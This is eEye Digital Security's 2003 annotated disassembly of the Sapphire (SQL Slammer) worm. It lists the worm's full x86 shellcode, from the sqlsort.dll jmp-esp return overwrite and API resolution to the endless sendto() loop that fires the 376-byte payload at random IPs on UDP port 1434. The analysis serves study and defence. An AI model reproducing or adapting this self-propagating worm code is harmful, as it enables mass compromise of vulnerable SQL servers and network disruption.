;SAPPHIRE WORM CODE DISASSEMBLED ;eEye Digital Security: January 25, 2003 ;Updated January 27, 2003 push 42B0C9DCh ; [RET] sqlsort.dll -> jmp esp mov eax, 1010101h ; ; Reconstruct session, after the overflow the payload buffer ; gets corrupted during program execution but before the ; payload is executed. The worm writer rebuilds the buffer ; so he can later resend it in the sendto() loop. xor ecx, ecx mov cl, 18h fixup_payload: push eax loop fixup_payload xor eax, 5010101h ; 0x1010101 xor 0x5010101 = 0x04000000 (msg_type for sql resoloution request) ; ; 0x04 is the msg type for request, he has no rebuilt the payload ; so it can be fired over the wire later and reinfect. push eax mov ebp, esp ; ; Move esp into ebp. This will allow him to reference data ; pushed onto the stack later using ebp. He could use esp ; also except for the fact that he push's a lot of values and ; an esp offset will not as reliable. So he chose ebp... ; push ecx ; ; During this phase a series of strings and terminating ; nulls are pushed onto the stack. This method is common ; in simple exploits that don't require a large amount of ; imports to operate. It should also noted that the worm ; use’s the ecx register to store nulls, after it is ; decremented to zero from the loop routine. ; push 6C6C642Eh push 32336C65h push 6E72656Bh ; Push string kernel32.dll push ecx push 746E756Fh ; Push string GetTickCount push 436B6369h push 54746547h mov cx, 6C6Ch push ecx push 642E3233h ; Push string ws2_32.dll push 5F327377h mov cx, 7465h push ecx push 6B636F73h ; Push string socket mov cx, 6F74h push ecx push 646E6573h ; Push string sendto ; mov esi, 42AE1018h ; sqlsort.dll->IAT entry for LoadLibrary ; ; The worm writer uses the sqlsort IAT to locate ; the entry points for LoadLibrary and GetProcAddress. ; lea eax, [ebp-2Ch] ; Load address of string "ws2_32.dll" into eax and ; supply as an argument to LoadLibrary. push eax call dword ptr [esi] ; call sqlsort:[IAT]->LoadLibrary("ws2_32.dll") ; push eax ; When LoadLibrary returns, the base of ws2_32 is in eax. ; This will be used later for a GetProcAddress so he saves ; it on the stack using a push.. ; lea eax, [ebp-20h] ; Load address of string "GetTickCount" into eax and ; push it on the stack. This will be used as an argument ; to the GetProcAddress call after the next LoadLibrary call. push eax lea eax, [ebp-10h] ; Load address of string "kernel32.dll" into eax push eax call dword ptr [esi] ; call sqlsort:[IAT]->LoadLibrary("kernel32.dll") ; push eax ; When LoadLibrary returns, the base of kernel32 is in eax. ; This will be used later for a GetProcAddress so he saves ; it on the stack using a push.. ; mov esi, 42AE1010h ; Move sqlsort:[IAT] entry into esi. The IAT, or Import Address ; Table will shift across dll versions so the worm writer checks a ; small instruction sequence at the entry point of the function to ; verify that it is in fact, GetProcAddress. ; ; mov ebx, [esi] ; Move IAT entry (function entry point) into ebx. ; mov eax, [ebx] ; Move 4 bytes of instructions from function entry point into eax. ; cmp eax, 51EC8B55h ; Check entry point fingerprint for getprocaddress, if the compare fails he uses ; an assumed IATentry. So he checks the entry, if it's not GetProcAddress he ; assumes it's an alternate dll version and uses the static entry in that assumed ; dll version. ; ; The library version I have is:2000.80.534.0. This dll version hips with a base ; installation of MSSQL server 2000. The IATwith this DLL is an entry point for ; RtlEnterCriticalSection, so the first check will obviously fail and the jz will ; not succeed. ; ; It is undetermined what dll versions this payload will succeed on. Due to ; the "if not, then other" importing scheme, this may not work across all dll ; versions. ; ; jz short FOUND_IT ; GetProcAddress(kernel32_base,GetTickCount) mov esi, 42AE101Ch ; This point is only reached if the previous test failed. On a ; default install of MSSQL Server 2000, we will reach this point. ; Then next assignment will assign esi the sqlsort.dll->IAT entry ; for GetProcAddress. FOUND_IT: call dword ptr [esi] ; GetProcAddress(kernel32_base,GetTickCount) call eax ; GetTickCount() xor ecx, ecx push ecx push ecx push eax ; Push GetTickCount returned value, which is the number ; of milliseconds since the system was last started. This value ; will later be used as a seed for the pseudo random number ; generation. ; ; xor ecx, 9B040103h ; 0x9B040103 xor 0x1010101 = 9A050002 (dest port/family) ; xor ecx, 1010101h push ecx ; 9A050002 = port 1434 / AF_INET ; lea eax, [ebp-34h] ; Load address of string "socket" into eax and supply ; it as the second argument to GetProcAddress push eax mov eax, [ebp-40h] ; Load ws2_32 base address into eax and ; supply as first argument to GetProcAddress. push eax call dword ptr [esi] ; GetProcAddress(ws2_32,socket) push 11h push 2 push 2 call eax ; socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP) ; push eax ; Push socket descriptor ; lea eax, [ebp-3Ch] ; Load address of string "sendto" into eax and ; supply it as the second argument to GetProcAddress. push eax mov eax, [ebp-40h] ; Load ws2_32 base address into eax and ; supply it as the first address to GetProcAddress. push eax call dword ptr [esi] ; GetProcAddress(ws2_32,sendto) mov esi, eax ; Save the entry point for sendto, returned by GetProcAddress ; into esi. ; or ebx, ebx ; ebx = 77F8313C, left over from the sqlsort IAT reads. ; xor ebx, 0FFD9613Ch ; We'll end up with 0x88215000 or 0x88336870, depending on dll ; version. Other values are generated depending on dll version. ; PSEUDO_RAND_SEND: mov eax, [ebp-4Ch] ; Load the seed from GetTickCount into eax and enter pseudo ; random generation. The pseudo generation also takes input from ; an xor'd IAT entry to assist in more random generation. ; lea ecx, [eax+eax*2] lea edx, [eax+ecx*4] shl edx, 4 add edx, eax shl edx, 8 sub edx, eax lea eax, [eax+edx*4] add eax, ebx mov [ebp-4Ch], eax ; Store generated IP address into sock_addr structure. push 10h lea eax, [ebp-50h] ; Load address of the sock_addr structure that was ; created earlier, into eax, then push as an argument ; to sendto(). ; push eax xor ecx, ecx ; Push (flags) = 0 push ecx xor cx, 178h ; Push payload length = 376 push ecx lea eax, [ebp+3] ; Push address of payload push eax mov eax, [ebp-54h] push eax call esi ; sendto(sock,payload,376,0, sock_addr struct, 16) ; jmp short PSEUDO_RAND_SEND